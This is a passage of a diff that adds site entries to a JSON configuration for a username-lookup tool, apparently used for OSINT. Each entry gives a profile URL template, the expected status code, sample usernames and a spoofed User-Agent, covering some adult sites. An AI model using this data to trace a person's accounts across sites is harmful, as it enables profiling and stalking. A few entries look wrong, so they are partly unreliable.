"https://www.wattpad.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "webnode": { + "url": "https://www.webnode.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.webnode.cz/", + "existUsername": "radkabalcarova", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.webnode.cz/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "weblate": { + "url": "https://hosted.weblate.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hosted.weblate.org/user/%s/", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hosted.weblate.org/user/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "weebly": { + "url": "https://weebly.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.weebly.com/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.weebly.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "whonixforum": { + "url": "https://forums.whonix.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.whonix.org/u/%s/summary", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.whonix.org/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "windy": { + "url": "https://windy.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.windy.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.windy.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "wix": { + "url": "https://wix.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.wix.com", + "existUsername": "support", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.wix.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wolframalphaforum": { + "url": "https://community.wolfram.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.wolfram.com/web/%s/home", + "existUsername": "unico", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.wolfram.com/web/%s/home" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wykop": { + "url": "https://www.wykop.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.wykop.pl/ludzie/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.wykop.pl/ludzie/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "xboxgamertag": { + "url": "https://xboxgamertag.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://xboxgamertag.com/search/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xboxgamertag.com/search/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "xvideos": { + "url": "https://xvideos.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://xvideos.com/profiles/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xvideos.com/profiles/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "yandexmusic": { + "url": "https://music.yandex", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://music.yandex/users/%s/playlists", + "existUsername": "ya.playlist", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://music.yandex/users/%s/playlists" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "youpic": { + "url": "https://youpic.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://youpic.com/photographer/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://youpic.com/photographer/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "youporn": { + "url": "https://youporn.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://youporn.com/uservids/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://youporn.com/uservids/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "youtubechannel": { + "url": "https://www.youtube.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.youtube.com/c/%s", + "existUsername": "mkbhd", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.youtube.com/c/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "youtubeuser": { + "url": "https://www.youtube.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.youtube.com/user/%s", + "existUsername": "pewdiepie", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.youtube.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "akniga": { + "url": "https://akniga.org/profile/blue/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://akniga.org/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://akniga.org/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "authorstream": { + "url": "http://www.authorstream.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://www.authorstream.com/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://www.authorstream.com/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "chaos-social": { + "url": "https://chaos.social/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://chaos.social/@%s", + "existUsername": "rixx", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://chaos.social/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "couchsurfing": { + "url": "https://www.couchsurfing.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.couchsurfing.com/people/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.couchsurfing.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "d3ru": { + "url": "https://d3.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://d3.ru/user/%s/posts", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://d3.ru/user/%s/posts" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "dating-ru": { + "url": "http://dating.ru", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://dating.ru/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://dating.ru/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "drive2": { + "url": "https://www.drive2.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.drive2.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.drive2.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "egpu": { + "url": "https://egpu.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://egpu.io/forums/profile/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://egpu.io/forums/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "ebio-gg": { + "url": "https:/ebio.gg", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ebio.gg/@%s", + "existUsername": "dev", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ebio.gg/@%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "eintracht": { + "url": "https://eintracht.de", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.eintracht.de/fans/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.eintracht.de/fans/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "fixya": { + "url": "https://www.fixya.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.fixya.com/users/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.fixya.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "fl": { + "url": "https://www.fl.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.fl.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.fl.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "geocaching": { + "url": "https://www.geocaching.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.geocaching.com/p/default.aspx?u=%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.geocaching.com/p/default.aspx?u=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gfycat": { + "url": "https://gfycat.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://gfycat.com/@%s", + "existUsername": "Test", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://gfycat.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "habr": { + "url": "https://habr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://habr.com/ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://habr.com/ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "hackster": { + "url": "https://www.hackster.io", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.hackster.io/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.hackster.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "irecommend": { + "url": "https://irecommend.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://irecommend.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://irecommend.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "jbzd": { + "url": "https://jbzd.com.pl/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://jbzd.com.pl/uzytkownik/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://jbzd.com.pl/uzytkownik/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "kwork": { + "url": "https://www.kwork.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://kwork.ru/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://kwork.ru/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "last-fm": { + "url": "https://last.fm/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://last.fm/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://last.fm/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "UK" + } + }, + "leasehackr": { + "url": "https://forum.leasehackr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.leasehackr.com/u/%s/summary/", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.leasehackr.com/u/%s/summary/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "livelib": { + "url": "https://www.livelib.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.livelib.ru/reader/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.livelib.ru/reader/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "mastodon-cloud": { + "url": "https://mastodon.cloud/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.cloud/@%s", + "existUsername": "TheAdmin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.cloud/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "JP" + } + }, + "mastodon-social": { + "url": "https://chaos.social/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.social/@%s", + "existUsername": "Gargron", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.social/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "mastodon-technology": { + "url": "https://mastodon.xyz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.technology/@%s", + "existUsername": "ashfurrow", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.technology/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "mastodon-xyz": { + "url": "https://mastodon.xyz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.xyz/@%s", + "existUsername": "TheKinrar", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.xyz/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "mercadolivre": { + "url": "https://www.mercadolivre.com.br", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.mercadolivre.com.br/perfil/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.mercadolivre.com.br/perfil/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "BR" + } + }, + "moikrug": { + "url": "https://moikrug.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://moikrug.ru/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://moikrug.ru/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "mstdn-io": { + "url": "https://mstdn.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mstdn.io/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mstdn.io/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nairaland-com": { + "url": "https://www.nairaland.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.nairaland.com/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.nairaland.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nnru": { + "url": "https://www.nn.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.www.nn.ru/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.www.nn.ru/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "note": { + "url": "https://note.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://note.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://note.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "npm": { + "url": "https://www.npmjs.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.npmjs.com/~%s", + "existUsername": "kennethsweezy", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.npmjs.com/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "osu!": { + "url": "https://osu.ppy.sh/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://osu.ppy.sh/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://osu.ppy.sh/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "pikabu": { + "url": "https://pikabu.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pikabu.ru/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pikabu.ru/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "pr0gramm": { + "url": "https://pr0gramm.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "304", + "url": "https://api.polarsteps.com/users/byusername/%s", + "existUsername": "Guschtl", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pr0gramm.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "queer-af": { + "url": "https://queer.af/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://queer.af/@%s", + "existUsername": "erincandescent", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://queer.af/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "satsisru": { + "url": "https://satsis.info/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://satsis.info/user/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://satsis.info/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + 